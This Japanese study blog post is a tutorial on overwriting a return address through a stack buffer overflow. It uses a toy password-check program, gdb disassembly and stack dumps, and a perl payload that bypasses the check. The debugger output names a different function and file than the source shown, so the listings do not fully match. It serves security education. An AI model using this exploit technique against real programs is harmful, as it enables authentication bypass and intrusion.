ごろねこの勉強部屋

主にセキュリティ、機械学習、それらにまつわる数学について書きます。

スタックオーバーフローを利用した戻りアドレスの書き換え

スタックオーバーフローとは?

スタックオーバーフローについての説明は過去の記事を参考にしてください。
jazzycat.hatenablog.com

今回はスタックオーバーフローを用いて戻りアドレスを書き換え、自由なアドレスにアクセスしてみます。

単純な書き換え例

戻りアドレスの書き換えとはどんなものなのか、実際に書き換えてみます。次のプログラムを見てください。

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>

int check_password(char *password) { 
   int pass_flag = 0; 
   char password_buffer[16];

   strcpy(password_buffer, password);

   if(strcmp(password_buffer, "neko") == 0) 
      pass_flag = 1;
   if(strcmp(password_buffer, "gorogoro") == 0) 
      pass_flag = 1;

   return 0;
}

int main(int argc, char *argv[]) { 
   if(argc < 2) {
      printf("使用方法: %s <パスワード>\n", argv[0]); 
      exit(0);
   }
   if(check_password(argv[1])) {
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");   //この部分に戻りアドレスを設定する
      printf("   アクセスを許可します。\n");
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
   } else { 
      printf("\nアクセスを拒否しました。\n");
   }
}

上のコードはcheck_password関数の返り値が0で固定されているので、変数の値をスタックオーバーフローによって書き換えても意味がありません。そこで、check_password関数の戻りアドレスを書き換えてアクセスを許可させてみます。
上のコードのコメントアウトしている部分のアドレスを調べ、check_password()関数の戻りアドレスをそのアドレスで書き換えることで、if文の条件分岐を無視してそのままアクセスを許可させることができます。まずは、コメントアウトしている部分の戻りアドレスを調べてみます。

goroneko@NEKO:~/$ gdb -q a.out
(gdb) disass main
Dump of assembler code for function main:
0x08048476 <main+0>:    push   %ebp
0x08048477 <main+1>:    mov    %esp,%ebp
0x08048479 <main+3>:    sub    $0x8,%esp
0x0804847c <main+6>:    and    $0xfffffff0,%esp
0x0804847f <main+9>:    mov    $0x0,%eax
0x08048484 <main+14>:   sub    %eax,%esp
0x08048486 <main+16>:   cmpl   $0x1,0x8(%ebp)
0x0804848a <main+20>:   jg     0x80484ad <main+55>
0x0804848c <main+22>:   mov    0xc(%ebp),%eax
0x0804848f <main+25>:   mov    (%eax),%eax
0x08048491 <main+27>:   mov    %eax,0x4(%esp)
0x08048495 <main+31>:   movl   $0x80485e5,(%esp)
0x0804849c <main+38>:   call   0x804831c <printf@plt>
0x080484a1 <main+43>:   movl   $0x0,(%esp)
0x080484a8 <main+50>:   call   0x804833c <exit@plt>
0x080484ad <main+55>:   mov    0xc(%ebp),%eax
0x080484b0 <main+58>:   add    $0x4,%eax
0x080484b3 <main+61>:   mov    (%eax),%eax
0x080484b5 <main+63>:   mov    %eax,(%esp)
0x080484b8 <main+66>:   call   0x8048414 <check_authentication>
0x080484bd <main+71>:   test   %eax,%eax
0x080484bf <main+73>:   je     0x80484e7 <main+113>
---Type <return> to continue, or q <return> to quit---
0x080484c1 <main+75>:   movl   $0x80485fb,(%esp)
0x080484c8 <main+82>:   call   0x804831c <printf@plt>
0x080484cd <main+87>:   movl   $0x8048619,(%esp)
0x080484d4 <main+94>:   call   0x804831c <printf@plt>
0x080484d9 <main+99>:   movl   $0x8048630,(%esp)
0x080484e0 <main+106>:  call   0x804831c <printf@plt>
0x080484e5 <main+111>:  jmp    0x80484f3 <main+125>
0x080484e7 <main+113>:  movl   $0x804864d,(%esp)
0x080484ee <main+120>:  call   0x804831c <printf@plt>
0x080484f3 <main+125>:  leave  
0x080484f4 <main+126>:  ret    
End of assembler dump.

disassコマンドでメイン関数のアセンブリコードを表示しました。では、どこが探している部分なのでしょうか。この程度の長さのコードならすべてを追っていくこともできますが、だいたいのあたりを付けて探したほうが効率がよさそうです。探したい場所は、if文の次の命令です。そのため、ジャンプ命令の次の命令であると考えられます。また、探したい部分はprintf関数を呼び出しているので、call命令が近くにあると考えられます。よって、探したい部分は、ジャンプ命令の近くにcall命令がある部分であると考えられます。main + 75の部分を見てください。その条件が満たされています。また、近くに何回もcall命令があるので、何回も関数を呼び出していると考えられ、探したい部分は何回もprintf関数を呼び出しているので、この部分で間違いなさそうです。
以上のことから、上書きする戻りアドレスは0x080484c1とわかります。
では、この戻りアドレスをどこに書き込めばよいのでしょうか。適当なものをコマンドライン引数に与えてプログラムを実行し、スタック上のどこに戻りアドレスが書き込まれているか調べてみます。desassコマンドで表示したアセンブリコードから、戻りアドレスは0x080484bdであることがわかります(check_password関数を呼び出すcall命令がmain + 66の部分のため)。コマンドライン引数にA(ASCIIコードでは0x41)を4つ与えたときのcheck_password関数のスタックフレームの様子を見てみます。

(gdb) r AAAA
Starting program: /a.out AAAA

Breakpoint 1, check_authentication (password=0xbffff9e6 "AAAA")
    at auth_overflow.c:16
16              return 0;
(gdb) x/32xw $esp
0xbffff7c0:     0xbffff7d0      0x080485dc      0xbffff7d8      0x080482d9
0xbffff7d0:     0x41414141      0xb7fd6f00      0xbffff808      0x08048529
0xbffff7e0:     0xb7fd6ff4      0xbffff8a0      0xbffff808      0x00000000
0xbffff7f0:     0xb7ff47b0      0x08048510      0xbffff808      0x080484bd
0xbffff800:     0xbffff9e6      0x08048510      0xbffff868      0xb7eafebc
0xbffff810:     0x00000002      0xbffff894      0xbffff8a0      0xb8001898
0xbffff820:     0x00000000      0x00000001      0x00000001      0x00000000
0xbffff830:     0xb7fd6ff4      0xb8000ce0      0x00000000      0xbffff868

戻りアドレスの0x080484bdがメモリのアドレス0xbffff7fcに書き込まれています。また、コマンドライン引数で指定したAAAAはメモリのアドレス0xbffff7d0に書き込まれています。この差は44なので、password_bufferの先頭から44バイト先に戻りアドレスが書き込まれていることがわかります。アドレスは4バイトなので、12回指定したいアドレスを書き込めばそのアドレスがcheck_password関数の戻りアドレスを上書きし、そのアドレスにある命令を実行させることができます。図にすると以下のようになります。

実行した結果は以下のとおりです。

(gdb) r $(perl -e 'print "\xc1\x84\x04\x08" x 12;')

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Segmentation fault (コアダンプ)

このように戻りアドレスを書き換えることで、通常分岐しないはずの部分に分岐して実行できるようになります。